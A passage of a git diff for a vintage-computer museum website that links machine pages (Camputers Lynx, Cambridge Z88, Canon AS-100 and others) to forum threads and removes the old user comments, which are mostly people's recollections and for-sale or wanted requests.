PLL proved visually unstable and my claim to fame is I reverted it back to a fixed resolution format which was nice $ steady - at the usual 80 cols x 25 rows. Yes the machine attracted great interest at the various PC exhibitions of the time. Not sure how the Mimi fared afterwards in terms of new features. Also the name ''Mimi'' was taken from the owner''s little daughter, not after the wife, unless they shared the same name (?). - - author: David Shepherd (uk) - date: Wednesday 9th April 2014 - text: According to my 1983 Micro-Computer catalogue, it has 4k ROM, 80x25 Text and 512x256 Graphics and it''s monochrome so 2 colours - - author: Jon Ritman - date: Wednesday 11th September 2013 - text: |- - I did some work for British Micro in the eighties and was rewarded with an 803, I then got them to put in a 20mb hard drive for an extra £200. Was a lovely CPM machine and I used it to produce several games for the Spectrum and Amstrad (Batman, Match Day II $ Head over Heels.\ - I even had them running on the 803 itself using it''s hi-res mode (16k of dedicated extra ram). - - BTW Mimi was the owner''s wife''s name - - author: Hans van Schaick - date: Sunday 21st April 2013 - text: |- - The Atlanta PC-800 is indeed a Mimi 805 private labeled by Atlanta Data (then a subsidiary of Atlanta Hoogezand, The netherlands).\ - So not a clone but just relabeled. - - author: Sander van der Velden (Netherlands) - date: Wednesday 17th April 2013 - text: I have just aquired a Atlanta PC800. When opening it up the motherboard states BM805-01 Which could be British Micro 805 as its incredibly similar to the 803. I have got pics if anyone''s interested! - - author: Graham Thomas - date: Wednesday 27th February 2013 - text: I worked with a Mimi 802 in 1982 at the Science Policy Research Unit (SPRU), University of Sussex. It was bought by (now Prof.) Jonathan Gershuny for word processing and spreadsheet work, and I think it was the first microcomputer in SPRU. I remember comparing it with some micros that the Sussex Computer Centre had and thinking that the Mimi was a decent machine. It was replaced by an Apricot, which was also pretty good in its time. - - author: SpookyG - date: Wednesday 2nd May 2012 - text: A possible clone of this computer appeared on a hungarian auction site recently. It has the name "Atlanta PC800". Anyone know something about this clone? Google knows absolutely nothing. It has a label on it indicating that the machine was a property of a book shop somewhere in the Netherlands. - - author: Mick Symes (worthing, west sussex) - date: Thursday 1st December 2005 - text: |- - I purchased a secondhand mimi 803 in 1984 which with a screen and manesmann tally bi directional dotmatrix printer came to £2,500 it ran on c/pm with my main use being invoicing and job control.\ - I was involved in writing the software apps, which ran eceptionally well on this unit.\ - we adapted the job control programme to become a transport manager.\ - this was nothjing more than basic databasing.\ - about once a month i had to take the case appart and dust off all the chips on the main board as my dusty office used to make the keyboard have a mind of its own.\ - I also had wordstar to word process on it. - - this machine ran alongside a £15000 system for job costing, that machine was a zerox, I also had a sony data terminal logged into a mainframe in london, a true forrunner of todays internet. - - my mimi was used up to 1989 when i sold the business. the machine was still working fine in 1995 when i gave it away, together with 2 original apples the first production models. one didnt even have the apple logo stamped on it - - eventually it was replaced by a 386 sx-25 which i upgraded to dx-40 this unit ran well untill i sold it in 1996, it was still working ok last year. - - author: witheld (essex, uk) - date: Saturday 9th April 2005 - text: |- - My parents had one of these while I was growing up, it got replaced by a 386. The extra only details I can remember was that it had BASIC (on a ROM I think), and we had a word processor and a game called Ladder on floppy discs. The first videogame we had!\ - http://ostermiller.org/ladder/ - now available in java. oc_id: 601 source: url: https://web.archive.org/web/20230214182003/http://www.old-computers.com/museum/computer.asp?c=601 diff --git a/content/museum/bull-l-attache.md b/content/museum/bull-l-attache.md index d8dcd3e3..ab5f3478 100644 --- a/content/museum/bull-l-attache.md +++ b/content/museum/bull-l-attache.md @@ -60,6 +60,7 @@ params: value: Unknown tabs: - photos + forum_thread: 734 photos: - title: LEFT SIDE subtitle: '' diff --git a/content/museum/bull-micral-80-22.md b/content/museum/bull-micral-80-22.md index 11ea0535..b5ca8d5f 100644 --- a/content/museum/bull-micral-80-22.md +++ b/content/museum/bull-micral-80-22.md @@ -66,6 +66,7 @@ params: - photos - adverts - docs + forum_thread: 342 photos: - title: '''G'' VERSION' subtitle: '' @@ -128,26 +129,6 @@ params:  type of document : ZIP\  size : 124 KB\  source : [Old-computers](/media/museum/docs/bull_micral45_biosdisk.zip) - comments: - - author: hugo h (Argentina) - date: Monday 4th April 2011 - text: Here in Argentina we had Bull computers, I used to service Questar/M, Micral 90 and Micral 60, I really miss the Micral 90, up to 8 terminals or 4 terminals and 4 printers attached 1024KB RAM, Cynthia hard Disks 10MB fixed, 10 MB removible, running over Prologue 90 and Bal programming, that was late 80´s early 90´s - - author: Richie (Canada) - date: Saturday 23rd October 2010 - text: It was cute, but it got so slow so I got rid of it. Now I am sad. It was cute. - - author: wally (france) - date: Thursday 21st November 2002 - text: |- - I got one honeywell bull micral 80 22 G\ - It send to any museum\ - see you - - author: Boris (Hk) - date: Friday 15th March 2002 - text: |- - Actually mostly the screen were\ - green on black. it was used to network\ - a lan composed of one bull controling many thomson to7 - to8/70 to share data and educational apps.\ - I remember running them has I had the key to the computer room oc_id: 338 source: url: https://web.archive.org/web/20221127083607/http://www.old-computers.com/museum/computer.asp?c=338 diff --git a/content/museum/bull-ttx-80-85-90.md b/content/museum/bull-ttx-80-85-90.md index 3d0f319a..6b727321 100644 --- a/content/museum/bull-ttx-80-85-90.md +++ b/content/museum/bull-ttx-80-85-90.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 967 photos: - title: TTX 80 subtitle: '' @@ -129,26 +130,6 @@ params: subtitle: '' text: '"computing against wasted time"' image: /media/museum/pubs/bull_ttx80_pub_time.jpg - comments: - - author: Jonatan Khalil Seletti (Argentina) - date: Tuesday 27th December 2022 - text: Good evening!! I am looking for some image of the boot disks. - - author: Guido Gybels (Belgium) - date: Thursday 8th April 2010 - text: |- - I worked for CII-Honeywell Bull in Belgium from 1977 into the ''80s.\ - I was a uC freak so I was the first to repair most pcb''s of the (CPT) TTX machines in our repair Center in Brussels.\ - It was a bit tricky, because I did not obtain original schematics.\ - I did have NO software, apart from the executables pm floppy and in the ROM inside the machine.\ - Internally it used an inter-pcb bus with extra states ("on top of the normal" 8080 cycles).\ - After half a year I repaired all the pcb''s in house, reducing turn-around time, stock size and costs for our field engineers.\ - The display controller generated a (ECL) video signal from a 55MHz dot clock which was fasssst for that time and type of machines.\ - I have good memories about this machine. It worked nicely. Never got to using the cp/m disks... perhaps the old uC club members within the Bull personnel had more experience with that. - - author: Axel Pfaender (Berlin) - date: Thursday 8th March 2007 - text: |- - Today, i entered an office, where people are still working with this system (though CPT-branded)!! This is 2007. They store the files on 8" floppy-discs!! Apparently there still is one technician alive in Berlin doing their maintenance.\ - amazing oc_id: 993 source: url: https://web.archive.org/web/20230401012934/http://www.old-computers.com/museum/computer.asp?c=993 diff --git a/content/museum/buromaschinenwerke-zella-mehlis-cellatron-8205.md b/content/museum/buromaschinenwerke-zella-mehlis-cellatron-8205.md index b34b86c8..5d7a2165 100644 --- a/content/museum/buromaschinenwerke-zella-mehlis-cellatron-8205.md +++ b/content/museum/buromaschinenwerke-zella-mehlis-cellatron-8205.md @@ -52,6 +52,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1002 photos: - title: LARGE VIEW subtitle: '' @@ -100,16 +101,6 @@ params: Trommelspeicher - drum memory\ Stromversorgungseinheit - power supply unit image: /media/museum/photos/veb_8205_blockdiagram_s2.jpg - comments: - - author: TURCU VASILE (ROMANIA) - date: Friday 24th April 2020 - text: |- - Sistem de operare GIPS , cu Registri , AK , BZ , RK. - - Viteza de lucru 2000 operatii pe secunda , foarte rapid pentru anii 70 . - - author: Joidan Romes - date: Tuesday 23rd September 2008 - text: Usually came in colors of grey and black. Very rarely white. oc_id: 1028 source: url: https://web.archive.org/web/20221205112301/http://www.old-computers.com/museum/computer.asp?c=1028 diff --git a/content/museum/c-itoh-yd-8110.md b/content/museum/c-itoh-yd-8110.md index 54868f58..b95706fe 100644 --- a/content/museum/c-itoh-yd-8110.md +++ b/content/museum/c-itoh-yd-8110.md @@ -66,6 +66,7 @@ params: value: Unknown tabs: - adverts + forum_thread: 607 adverts: - title: U.S. ADVERT (1983) subtitle: '' @@ -75,10 +76,6 @@ params: subtitle: '' text: Karl-Heinz - www.sharpmz.org image: /media/museum/pubs/citoh_yd8110_pub_1.jpg - comments: - - author: CoolCPU (USA) - date: Sunday 1st December 2002 - text: Anyone know where I can get one and/or if there is an American version? oc_id: 620 source: url: https://web.archive.org/web/20230606194952/http://www.old-computers.com/museum/computer.asp?c=620 diff --git a/content/museum/cab-65.md b/content/museum/cab-65.md index 9be0021c..6ce226df 100644 --- a/content/museum/cab-65.md +++ b/content/museum/cab-65.md @@ -60,10 +60,7 @@ params: value: Built-in power supply - label: PRICE value: Unknown - comments: - - author: the Clothist (Seattle, WA) - date: Friday 18th June 2004 - text: I actually have one of these - But there's a problem with the keboard. Oh well :( + forum_thread: 113 oc_id: 99 source: url: https://web.archive.org/web/20221207231030/http://www.old-computers.com/museum/computer.asp?c=99 diff --git a/content/museum/cabel-universal-game-computer.md b/content/museum/cabel-universal-game-computer.md index 5bf48e2a..5e298192 100644 --- a/content/museum/cabel-universal-game-computer.md +++ b/content/museum/cabel-universal-game-computer.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 1136 photos: - title: UNIVERSAL GAME COMPUTER subtitle: '' diff --git a/content/museum/cambridge-computers-z-88.md b/content/museum/cambridge-computers-z-88.md index cb56483a..26ba26f2 100644 --- a/content/museum/cambridge-computers-z-88.md +++ b/content/museum/cambridge-computers-z-88.md @@ -66,6 +66,7 @@ params: - emulators - links - docs + forum_thread: 289 photos: - title: SIR CLIVE SINCLAIR subtitle: '' @@ -217,80 +218,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: j merk (San Diego/Boston) - date: Thursday 11th November 2010 - text: Z-88 was a ''killer'' laptop in the day...it was sold in the US as a "macintosh" compatible portable. I was able to use the port to connect to my MacSE and the text was imported into MacWord and came out fine. Address book was ported as well...it was a life saver on business trips as it fit exactly on to the old airline trays - great to be able to swap batteries...if you were fairly quick...I still have it and plan on keeping it a keep sake - - author: Alec Evans (France) - date: Tuesday 20th February 2018 - text: |- - Just rediscovered my Z88 - S/No. 006253 - purchased in around 1988.\ - Includes 128K RAM and PC Link II eprom (but software and cable sadly mislaid).\ - Still seems to work fine - apart from the 2-digit dates - but any thoughts of re-using it usefully were dashed when I found that Pipedream (now downloadable free) won''t work on 64-bit PCs.\ - Nice bit of nostalgia though. - - author: Very Nice Vera - date: Saturday 4th February 2017 - text: |- - Running the emulator reveals a very easy to use and intuitive system! - - With more than twice the screen size as the TRS-80 model 100, better batery life and lighter, this system is amazing for it''s era! - - author: Steve Johnson (Alaska/USA) - date: Tuesday 21st October 2014 - text: With undead batteries, my Z88 still boots and always returns memories of pre-world wide web days, when text still ruled the world (and the internet). As someone who also owned and used the Radioshack models 100 and 102 and equivalent NEC 8241 laptop , I appreciated the additional memory and the wide display screen. The optionally quiet keyboard was great for taking notes in meetings. The machine was relatively fragile. And, when using accessories such as the cassette tape interface, the Z88 provided a feature by then little used in personal computers. The Z88 bulletin boards and community were also a delight. I have never been tempted to sell or recycle the Z88. I still have the eprom eraser and all the manuals. - - author: Kim Miller (Australia) - date: Friday 13rd June 2014 - text: |- - I bought a Z88 in 1987 while doing my doctorate at the University of Exeter in England. It is serial number 001569 and it cost me UK286.35 pounds. Extras - in/out cable, 128k RAM chip, mains adapter, printer cable - took the price to UK396 pounds. That was a huge chunk from my study grant, but I used that little machine to write up most of my PhD dissertation. - - It was especially useful when I had to travel to London for conversations with one of my supervisors. He would read my stuff then I would meet with him and record the conversation. I could type up an hour''s conversation while traveling on the train back to Exeter. The keyboard was famous for having a good tactile feel and usability. - - I still have the Z88, complete with the manuals and even the original purchase dockets taped inside. It was a great machine in its day and sits in my office as a bit of nostalgia. - - author: RC Ellis (USA) - date: Saturday 12th April 2014 - text: I loved mine, but there \*were\* problems - it locked up every once in a while, and would sometimes corrupt files. But for basic form/function it was ahead of it''s time. Pity they didn''t release a 1.1 version. - - author: Gary E. Andersen (Las Cruces, New Mexico) - date: Monday 24th September 2012 - text: Z88 Computer Serial Number 000003 (thats correct the 3rd one made) Never Used$-Original Box and User Guide$$Mint Condition - - author: Gary E. Andersen (Las Cruces, New Mexico) - date: Monday 24th September 2012 - text: Z88 Computer Serial Number 000003 (thats correct the 3rd one made) Never Used$-Original Box and User Guide$$Mint Condition - - author: David McPheeters (Cleveland, OH USA) - date: Wednesday 28th September 2011 - text: I have Z88 computer serial number 015805 that appears to work fine with the original box and manual, and a card in it that says 512k RAM. If somebody might be interested in and wants to pay shipping, I would easily part with it for a reasonable price. - - author: Terry Galloway (Scotland) - date: Monday 7th February 2011 - text: |- - I have a Z88 serial number 0057869 FOR SALE. - - A user guide (looks good and all the pages appear to be there, however, most of the pages have come away from the cover binding, though the pages are not individualy loose, if that makes sense) - - Z88 users club leaflet - - Up and running leaflet - - All contained ina Z88 Cambridge Computers cardboard carry case. - - Total weight 1.5 kilo - - It looks good and hardly used. - - author: Richard (UK) - date: Wednesday 5th January 2011 - text: It was a cool little machine. Adrian, I know your comment is over 6 months old but thought I''d ask if there is a chance you still own the machine....how much do you want for it? I''m a student studying computer history so let me know. - - author: Adrian (UK) - date: Saturday 10th July 2010 - text: I have a z88 and was looking to sell it. Anyone interested or know where I can sell it. Its a great piece of kit and still runs 20 years later. Comes with all the peripherals but the box in long gone. Other than that the charger 215k ram upgrade and so on are all there. - - author: Mark Wills (UK) - date: Sunday 16th November 2008 - text: It must be said, the Z88, even today, is a seriously functional peice of kit. I would say the machine was released at least 5 years ahead of it''s time. It is truly an outstanding peice of British engineering. - - author: Karytianos Nikos (Greece) - date: Tuesday 5th July 2005 - text: I have bought a Z88 on the 27th of June 2005 because I have always wanted one since it's first appeared back in 1987. It has been like fullfiling a gap of my 8-bit past. Besides the sentimental stuff, it is pretty functional too, providing a first class real all around notebook. Usable history! - - author: jupiter1716 (France) - date: Sunday 10th October 2004 - text: 'I use the Z88 since 2003, and I always put it in its case and then in a leather attache-case, which does protect my Z88. My advice is: never put it with your trunk, but in a seperate bag. This can save its life...' - - author: M Burke (San Jose, CA) - date: Wednesday 18th December 2002 - text: The Z88 was a great portable system that ran on AA batteries. I used it with great success for a number of years before moving to another state. Upon opening the trunk in which it was stored, I found the LCD screen hopelessly cracked. Finding another screen proved fruitless and it now sits in a box on a shelf. Z88s are still to be had, however, for $100. This machine was, for me, the original PDA with an added bonus... a keyboard that worked! software: - /software/spellmaster oc_id: 279 diff --git a/content/museum/camputers-lynx.md b/content/museum/camputers-lynx.md index c7bb6f9f..a4f15999 100644 --- a/content/museum/camputers-lynx.md +++ b/content/museum/camputers-lynx.md @@ -75,6 +75,7 @@ params: - emulators - links - docs + forum_thread: 170 photos: - title: 'LYNX RANGE #1' subtitle: '' @@ -262,185 +263,6 @@ params:  source : [www.camputerslynx.info](http://www.camputerslynx.info/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Lin (UK) - date: Tuesday 22nd February 2022 - text: We had one of the first Lynx computers. My brother and father sneaked off to the NEC (without telling me) and attended one of the first ''Computer Shows'' in the UK open to the public. They spent the day (supposedly) bench testing various offerings before settling on a Camputers Lynx. Our parents had decided that a home computer would be a good investment and I was hoping that they would decided to get a ''Spectrum''! Both my brother and Dad argued that the demand for one would be huge and even then supply issues abounded,so the purchase of a Lynx was decided. They returned home that evening full of themselves, and much to my annoyance at where they had been without me, announced what they had decided over the tea table. The machine was promised for delivery in short order....... From memory I think it took Camputers at least 4 months after the specified date to get the machine to us - on its arrival my brother was delighted - I on the other hand pointed out the total lack of software - support for it, and that the majority of computer publications at the time pretty much ignored it too! We only every had one game for it, based on ''Star Trek'', it was actually pretty good, but had a stupid timer mechanism which meant you could only play the game for about 20 mins before it simply restarted! TBH I couldn''t be bothered with it, primarily because my school didn''t even have a technology department or anybody on the staff who was interested in computers enough to engage with pupils. I think my Dad ended up with about half a dozen of them and various extra''s like a bloody great monitor. The whole lot eventually went to the recycling tip, along with a BBC Model B etc. - - author: Colin Baxter (New Zealand) - date: Wednesday 20th April 2011 - text: |- - Wow, I''m speechless.\ - I owned a Lynx, my first computer.\ - In fact I loved it so much I went on to do a degree in IT and have a 30 year (and hopefully more) career in IT.\ - I used to live in Bradford and I wanted a TR-80 or a Spectrum but I bought a Lynx and I was delighted.\ - It''s like reading about your first girlfriend, except she didn''t go on to marry your best mate, she died and went to computer haven. - - author: Petter Lenge (Norway) - date: Friday 12th September 2008 - text: |- - I was one of the founders of the Norwegian Lynx User Group.\ - We had a few members around the country and released a handfull of user magazines before Camputers went down.\ - I still have some copies of the magazines.\ - We also modified the ROM with some special functions which were added to the interpreter and also we put in Norwegian national letters on spare space in the character table in ROM.\ - I also had to build my own floppy controller from scratch as it was impossible to get a controller at the last days of the Camputers. I hardcopied a friends controllerboard by beeping track by track.\ - I managed to get the new board work in my first attempt and were pretty proud of myself on that time.\ - I got a Lynx 96 and Lynx 128 w/ CPM/M today. - - author: Graeme Mawson (Cambridge (UK)) - date: Wednesday 22nd October 2003 - text: Oh happy days. We (myself and a friend) had a shed load of these at one time I think they all ended up in a skip! :-( we wrote a word processor that sat in the third eprom slot, an assembler and a dissasembler. We also finished off the CPM and had it running a treat We used to sell the Computers, hardware and our software through Pheonix software in Manchester. Although the basic graphic system was slow by using assembly routines it could be sped up significantly. also using the alternate graphics page ment you could prepare the display in the back ground and then simply switch banks for an even faster appearance. I still have much software on disk and many LUG magazines, and I would love to be able to get hold of a Lynx now for nostalgia. - - author: russell davis (Currently USA) - date: Sunday 18th August 2002 - text: well i had a couple of lynx's and loved it. i was involved with the user group (the original LUG :) ) and a few abortive attempts to improve it. unfortunatly before I left the UK I gavemine that had the sideways rom stuff and the reading user group scorpion rom away to a friend. but i really miss it. if anyone has the manuals for it and can scan them in for me and take a proper rom dump (you can tell it's good as the word DAVIS occurs in the first few bytes of the rom. i believe the rom programmer Davis Jansen put it there and I believe the name SuZy is in the first few hundred bytes IIRC) so i can write an emulator. i have a few of the other technical stuff but really need the manuals to read as my memory is a little fuzzy. - - author: Jean-Marie Rougeaux (France) - date: Sunday 23rd August 2020 - text: |- - Bonjour\ - Je suis à la recherche de jaquettes de jeux ou d''utilitaires du Lynx pour compléter ma documentation.\ - Je possède le schéma du Lynx et nombreux logiciels.\ - Je recherche également la partie 3 du logiciel Backgammon. Je possède les deux autres parties.\ - Merci et salutations. - - author: Gordon (Britain) - date: Friday 22nd February 2019 - text: |- - Hi. - - Did they ever Make a Service manual ? - - If so Does anyone know where I can download a Camputers Lynx Service Manual ? - - author: Anatole Beams (London) - date: Saturday 25th January 2014 - text: |- - I have a Lynx 48k if anyone is interested. It was fully working last time I switched it on. I''ll have to drag it out and hook it up to a telly to check it, but it has been stored away nice and dry. - - If anyone wants it, let me know and I''ll stick it on eBay.\ - anatolebeams@abdm.co.uk - - author: Frank Rasmussen (Denmark) - date: Friday 12th October 2012 - text: |- - Hi Mark Baxter and Peter Norman, look at my homepage - it''s on its way to be a LYNX website, containing all information about the Lynx''es - - I got a lot of schematics - also for "add on" hardware. - - Regards\ - Frank - - author: Peter Todd (UK) - date: Tuesday 9th October 2012 - text: |- - I have updated the emulator significantly over the last few years. - - The current (as in released on the website) Win32 (VC++ and VB) version is 8.12 - - Running on 2000,XP upwards or under WINE - - There are also now running versions for: - - DOS 32 Bit under the DOS4GW extender\ - Win32 SDL + FLTK\ - Linux SDL + FLTK\ - Raspberry Pi SDL\ - An unfinished source for a PIC 18F + Parallax Propeller combo - - These will shortly be released on my website. - - I''m still on the lookout for more software written for the system. - - Best Regards to all - - Pete - - Pale - http://heraclion.co.uk/palelynx.htm - - author: Frank Rasmussen (Denmark) - date: Saturday 8th September 2012 - text: |- - If anyone need some information, manual, schematics or anything else about the Camputers LYNX, then write me an email frank@elborg.dk or look at my webpage www.elborg.dk , If I dont have the information You need then I will try to get it and provide You with the info. - - /Frank - - author: Mark Baxter - date: Saturday 21st July 2012 - text: Can anyone point me at LYNX websites.. I don''t seem able to find any when I do a google search.. I need technical documents and stuff !! - - author: Peter Norman (England) - date: Saturday 21st July 2012 - text: 'Does any one know where I can download LYNX documents : User Manuals, Schematics, Service Manuals etc.. As these are extremely hard to find now.' - - author: Bad Robot (England) - date: Tuesday 17th July 2012 - text: |- - Does anyone know where you can download LYNX technical documents, Service Manuals etc. - - Or any LYNX archives containing any LYNX documents. - - Please post message pointing to website. - - author: George P (Greece) - date: Thursday 24th November 2011 - text: A Lynx 96 was my first computer. I was so impressed by it that I followed an entire career in IT. It didn''t have many games like the other micro-computers or as impressive, but I really liked the ones it did have. - - author: Mike G (UK) - date: Saturday 5th November 2011 - text: |- - I have several Lynx handbook which I am about to dispose off if they are not wanted. These are:\ - Lynx Cassette Operation, Lynx DOS Manual, Lynx Printer Tech Manual and Lynx User Manual.\ - If anyone is interested please let me know. - - author: Frank Rasmussen (Denmark) - date: Sunday 2nd October 2011 - text: |- - Im a computer collector from Denmark, I got a Lynx 96K and would like to add a diskdrive, and have found a schematic from camputerslynxinfo, but there are errors in the diagram. Then i saw that Peter Lenge from Norway write here in this forum, that he built his own interface, is it possible that You Peter would share Your diagram with the rest of us ? I would be very happe to get in contact with You. I got equipment to make real PCB''s - proff. - - Best regards\ - Frank - - author: Mark Sanderson (England ) - date: Saturday 2nd July 2011 - text: |- - Has anyone put the LYNX into VHDL code so I can put it on my Altera DE0 FPGA board ?? - - It would be great to see it running on real hardware again !! - - author: Lez (England) - date: Monday 4th October 2010 - text: Has anyone thought of putting the Lynx onto a FPGA(Field Programmable Gate Array) so that it can live again. It been done for other legacy compurters like the Coco 3 (now runnung at 25MHZ) and the Amstrad CPC464 (running at 24MHz) !! - - author: Stuart Shaw (England) - date: Tuesday 10th August 2010 - text: |- - When will the Lynx preservation site be live again ? - - I''m in need of some schematics and just can''t find them anywhere !! - - I have a 96k Lynx, and I''m interested in getting the disk drive controller working as well as the Joystick interface. - - author: Russell Davis (USA) - date: Monday 8th June 2009 - text: |- - just wanted to let everyone know that I have updated the Camputers Lynx Preservation site and moved it from mediawiki to drupal and have also setup a group for the camputers lynx on facebook. - - also if Petter Lenge could contact me either via the facebook group or via camputerslynx.info I would be grateful. actually if anyone wants to contact me with regard the camputers lynx i''d be interested to hear from them. - - R. - - author: Russell Davis (currently NYC) - date: Monday 10th January 2005 - text: i've setup a small wiki to try to collect as much info, software, pictures, schematics, docs... etc. as possible. if you are interested in the camputers lynx or have memories about it or details about the players involved or technical info please visit. - - author: John Rostron (Earth) - date: Thursday 17th June 2004 - text: |- - I remember that in Basic, the BEEP or SUUND commands stopped all on screen graphics movement for about 1/2 a second!!! My Lynx suffered from a row of bright dots/pixels down the left hand side of the screen. Although it went for repair on two occasions, it always came back with the same problem.\ - There were virtually no good games for the Lynx and I always envied those Spectrum and BBC owners :-(( - - author: Pete Todd (Aberystwyth, Wales) - date: Monday 22nd December 2003 - text: |- - Mine was thrown out while I was away at uni., I was left with the memory board and a few tapes... - - the tapes have been retrieved from the loft and\ - an emulator has been written: - - http://heraclion.users.btopenworld.com/palelynx.htm - - happy christmas to all - - author: Tony Darch (Swindon) - date: Thursday 22nd May 2003 - text: Well, I'd love to get my hands on one of these little babies. The one we had was dropped and it was busted. My old man wrote a few games for this. He tried to sell them himself but I dont think there wer more than a couple copies sold. I would love to get my hands on a lynx and some of the games he made, or at the very least an Emulator, I havent been able to find even that! Have you guys ever Heard of games called Pincerman and a small compilation of games Tower of rings, Blooker, Yahyzee and a couple I cant remember? Let me know.... - - author: Voyager (Greece) - date: Saturday 29th June 2002 - text: It's a very strange machine, awfully slow for a Z80 @4Mhz, and the memory usage is very strange. All my Lynx48K machines, have 96K installed. Only one has an extra Eprom that lets you use more than the 48Kbytes. Looking for the Lightpen and Disk Drive. - - author: Guy Hindle (Southampton) - date: Monday 11th February 2002 - text: |- - Just saying HI! to anyone else who has one. - - I haven't bootde it up for quite a while, I'll try again now! oc_id: 158 source: url: https://web.archive.org/web/20230608215653/http://www.old-computers.com/museum/computer.asp?c=158 diff --git a/content/museum/canon-as-100.md b/content/museum/canon-as-100.md index 4a17781f..fd8a5370 100644 --- a/content/museum/canon-as-100.md +++ b/content/museum/canon-as-100.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 580 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -75,74 +76,6 @@ params: subtitle: '' text: '"Canon AS-100. Programmed to succeed."' image: /media/museum/pubs/canon_as100_pub_1.jpg - comments: - - author: david - date: Thursday 26th May 2022 - text: I think this is a computer I had. They were used for POS systems in Mobil petrol stations in Australia. They were \_completely impossible\_ to get into, the system is snapped into place and then fixed with blind screws in three sections. - - author: allez (USA) - date: Tuesday 3rd August 2021 - text: Hi Ron , do you still have the canon AS-100 for sale ? thanks - - author: Günther (Austria) - date: Monday 6th July 2020 - text: Hey, I am getting an AS-100 with 8" Disk drives. Unfortunately it comes without disks/software, and I managed to find only 5.25" CP/M-86 disk images. Anybody here who could provide me 8" boot disks (either CP/M-86 or MS-DOS) or images of the 8" boot disks? It would be great to get the device running... - - author: Ron Mileham (Australia) - date: Monday 22nd June 2020 - text: |- - I have a Canon Computer system for sale. It comprises: 1 x Monitor Model AS-100. 1 x Tower Model AS-1350. 1 x Printer Model AS-1250. All Circa 1982-4. - - It has been stored carefully and is in very good condition. I last saw it working a few years ago and had a DOS disc for it, but can''t find it now. If you contact me, I will send you pics. - - Not sure what the asking price should be, but I know there are very few still around. It would be perfect for a computer museum or as props for older movies. - - Let me have your offers. I can ship them from Australia. You can have someone local to come and look at them in Melbourne also. - - author: ibrahim (germany) - date: Thursday 28th November 2019 - text: An interesting exhibit. I would like to buy the Canon AS-100. Does anyone know what the Canon AS-100 costs? - - author: George C (USA - Va) - date: Friday 15th February 2019 - text: I was a Canon Dealer from 1983 to the late 90s. The AS-100 was the first personal computer we sold. Software was limited but we has some success selling these for general accounting applications. We had our most success with the ATHENA. I ended up tossing three AS-100 in the dumpster but they were all in working order. We built a cabinet with wheels about the size of a small refrigerator which allowed us to transport the AS-100 to prospect sites. Can''t believe we did that. - - author: fritz (germany) - date: Tuesday 11th November 2014 - text: http://oldcomputers.dyndns.org/public/pub/rechner/cannon/canon-as.100/index.html - - author: Patrick Sweetman (New Zeland) - date: Tuesday 18th February 2014 - text: '@Rich Trying to contact you. See you on Linkedin, I think.' - - author: Rich Shealer (USA) - date: Wednesday 1st May 2013 - text: |- - @Patrick - I actually have a copy of Canon BASIC that was used with the Canon Athena one of their early IBM compatibles. A copied it to a CD years ago so I should be able to find it. - - In the US it came out with both operating systems. The Canon Basic worked with CPM/86 and the MS-DOS had GW-Basic. I wrote a magazine accounting application on the dual 8" disks in Canon Basic. CPM/86 had a bug that caused PIP (CPM copy) to corrupt files of over 64K in size. That burned me pretty badly. Switched to disk copying until they patched it. - - author: Patrick Sweetman - date: Tuesday 2nd October 2012 - text: I would really like a copy of the Canon BASIC for DOS. The CP/M-86 version would also be of interest. - - author: Patrick Sweetman (New Zealand) - date: Tuesday 2nd October 2012 - text: |- - I worked on one of these machines until 1983, developing commercial software to be bundled with hardware sales. This was before the advent of hard discs, so these machines were floppy-only. From memory the large dual floppy drives retailed for over NZ$10000. - - Initially it came out only with CP/M-86, with a version of MSDOS being produced later. Many of the MSDOS programs were the same ones from CPM-86 with a wrapper that converted the interrupt calls from CP/M to DOS. - - author: Chris (NJ/USA) - date: Wednesday 12th September 2012 - text: I need docs and software for the Canon AS-100. Also looking for spare machines. rampaginggreenhulk$at$yahoo$dot$com - - author: pietro (italia) - date: Tuesday 22nd November 2011 - text: scusate, ma che lavoro facevano i vostri padri? negli anni 80 un computer costava parecchio. non parliamo poi di 4. - - author: Don (USA) - date: Saturday 24th September 2011 - text: I have one of these... it''s been in storage for umpteen years and want to try to get it running and then a new home for it. Where can I get disks and a refresher on how it works? - - author: Joe (Illinois) - date: Sunday 19th June 2011 - text: I had one of these back in the ''80s - my parents bought me one for Christmas when I was in middle school. Mine had the color display with color printer on top and ran MS-DOS v1.25 bundled with SuperCalc and WordStar processor (man I used to have those Ctrl codes down pat!). It was my first PC and started a life-long love of computers. After a long time, it finally gave up the ghost and ended up in parts. - - author: John Blanchard (Melbourne Australia) - date: Sunday 17th April 2011 - text: My father had 4 of these computers that he had bought in new in the mid 1980''s and 3 ran up to DEC 2010. Each weighed a heap but the quality both inside and out was awesome. We called Canon Australia to see if they wanted them for historic reasons and was rudely told that Canon never made computers! Unfortunately they now reside at the local tip. - - author: James - date: Friday 19th March 2010 - text: 'The AS-100 had a graphic chip. I guess the NEC 7220 but I am not sure. It was dead slow: you could see it drawing lines starting at one end, to then progress to the other end. I ended up writing my own assembly library to do graphics on it.' - - author: Chris (New Jersey) - date: Friday 7th October 2005 - text: Nothing to contribute. I am looking for one of these. Thanks. oc_id: 591 source: url: https://web.archive.org/web/20230417004102/http://www.old-computers.com/museum/computer.asp?c=591 diff --git a/content/museum/canon-cat.md b/content/museum/canon-cat.md index 53888515..2f1080b4 100644 --- a/content/museum/canon-cat.md +++ b/content/museum/canon-cat.md @@ -66,6 +66,7 @@ params: - software - links - docs + forum_thread: 628 photos: - title: CANON CAT subtitle: '' @@ -144,23 +145,6 @@ params:  source : [JefRaskin.com](http://web.archive.org/web/20070806230147/jef.raskincenter.org/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Roger M Ribert (Rochester NY) - date: Friday 3rd February 2017 - text: In 1987, I worked as a sales representative for a Canon office products dealer. We received training on the Cat, but none of us ever got comfortable using it. Therefore, we didn''t try to sell it. Glad that some people got good use out of it. - - author: simon crum (vancouver/Canada) - date: Friday 9th November 2012 - text: The Canon cat was great. I just pulled mine out and it still works. I took it to Europe and had it working there too. There was a switch inside to change the voltage from 110 to 240. I wrote tons of good stories on this machine (when I had time to write for myself). The printer let me print resumes and story submissions with real letters, not dot matrix. The "leap" function was way 